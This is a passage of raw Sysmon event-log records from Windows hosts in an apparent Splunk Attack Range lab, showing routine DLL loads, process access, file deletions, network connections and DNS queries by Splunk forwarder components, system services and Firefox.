Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000053809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000053805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000053803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.721{7BD73061-73B9-613B-840B-00000000F001}2520C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.337{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B58E26FBCDC4CD5B9822BF3DA9C67B6F,SHA256=2E09C369B018152747D68A0700F83791BAC3A3C45FD11FD2EE32B78C7F2CA53D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:21.068{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=34F324FA42B8F30C7ACF9F6316A9A9D5,SHA256=49F3ECAB18D893C94F1F79E4C4865D93570B8E98C34D746FA2B1F925F16D5A4C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017220Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:22.900{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=23354344BE157B3F9DA5A6EA2A8298EE,SHA256=33E8A72E224F6CBBF4B671EA6AC9B03D376FDA34EAF1ED0D2A0200F1C054CABE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:22.737{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1FDD800AA22C87AF86D4928F0F75185E,SHA256=2157C0DE7E9969B3EE3311D3D7FE6F880A45EDBA3FCD2F8419ECB8E041F71DF7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:22.453{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F676683ED23846EE1DAB3826D6D0DA6,SHA256=C070E961E56B4AC45BCB57A8D64953C472E1F0CA1ACB3261351BC0B6D5C1C566,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017221Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:23.979{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CAE5DF98197BE5D97F3B4B92FDF838A,SHA256=F96613918A12F277800DB7107DEEC75AD36D04B2087B86E26F9A201D96D3F753,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:23.469{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C37B7B3E75892751BAEB6AF1A02CBE01,SHA256=954BCDB1E11B81E9490D8E911332A552FDBD1BB2FCEF6F8E4AD1FF7E38DF1AFC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:24.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56D789767891A4C62E256221C07CA05C,SHA256=CDB8844667A39B54025E43CCD2C684A33780214EF7750A5108D8419B2C06AF40,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000053855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:24.221{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\AlternateServices.txt2021-09-10 14:38:18.566 23542300x800000000000000053854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:24.221{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\AlternateServices.txtMD5=CADD365BDABBB13ED2CFF9D9D9526D65,SHA256=A78061EEBF8A43965744BF6D6F14EE11F6885799F650091E789011E33D8A182C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000053853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:24.185{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\SiteSecurityServiceState.txt2021-09-10 14:38:18.566 23542300x800000000000000053852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:24.185{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\SiteSecurityServiceState.txtMD5=5A541981C3E5329963724746DAFBED0F,SHA256=A7942A0CA52B6E440899383E7D6FA66DC1CEFD5D8E8FE9BD762C63066FDBF7B4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:23.671{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59662-false34.117.237.239239.237.117.34.bc.googleusercontent.com443https 354300x800000000000000053858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:23.332{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59661-false10.0.1.12-8000- 23542300x800000000000000053857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:25.652{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE78B09690707998A7AE621EBF933E70,SHA256=F71026F1DFC3CAB54C8A353C171376EC1345526B338ABC42AB261FF285DDCDA4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017223Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:24.458{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50346-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017222Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:25.010{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CAA656BA57F3EA98DC3A21DA6AB11BA4,SHA256=C4BBC3D3B6347EE3A7886B46891FB5498B8B9B9294F360D1D1B2BA694F5B653D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:26.684{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EDB697C7DFC2B0F8F75DEC7E0297678E,SHA256=E501B2760A6C2CA2FB89D430797099A89CF53F0D4E9929E399979AFF84DE024B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017224Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:26.010{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=861D5C041022F236426ADE5694E27EB6,SHA256=CDF028CED29582B2DFCF0B85B3A53950DA8B405C08EFDFFF5D332F52D9DE6DCD,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:25.901{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55149- 354300x800000000000000053864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:25.901{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59529- 354300x800000000000000053863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:25.899{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62216- 354300x800000000000000053862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:25.899{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55763- 23542300x800000000000000053861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:27.750{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F79C55FFC894833B91DE3136BC23479,SHA256=9C76A6590C6D796BBB0B6A092091921F0CA8AFD23E74EC14EDE6243A31A30EEE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017225Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:27.041{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26B63F1BBF43477EA34863696A387938,SHA256=18643A5F2927E0B5B8C17807BAC86FA94E91BC390C6A1A2A1FE2C58900947A3E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:28.784{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4559205D3348841D87A02BCA716F879,SHA256=393CE5088723C04B479FB891E5B601184605F4A34F589B7C21E3B147E6B31D8D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017226Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:28.057{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=014254A410B2A83A993FDEF1C6043D61,SHA256=92233F7718937A29566D8CF49C6841A1DEEB27C3665CE0B1DDAC382ED3181346,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000053868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:26.599{7BD73061-728D-613B-560B-00000000F001}4776djvbdz1obemzo.cloudfront.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000053867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:26.596{7BD73061-728D-613B-560B-00000000F001}4776djvbdz1obemzo.cloudfront.net052.222.239.60;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000053866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:26.595{7BD73061-728D-613B-560B-00000000F001}4776www.amazon.de0type: 5 tp.abe2c2f23-frontier.amazon.de;type: 5 djvbdz1obemzo.cloudfront.net;::ffff:52.222.239.60;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000053872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:29.932{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program 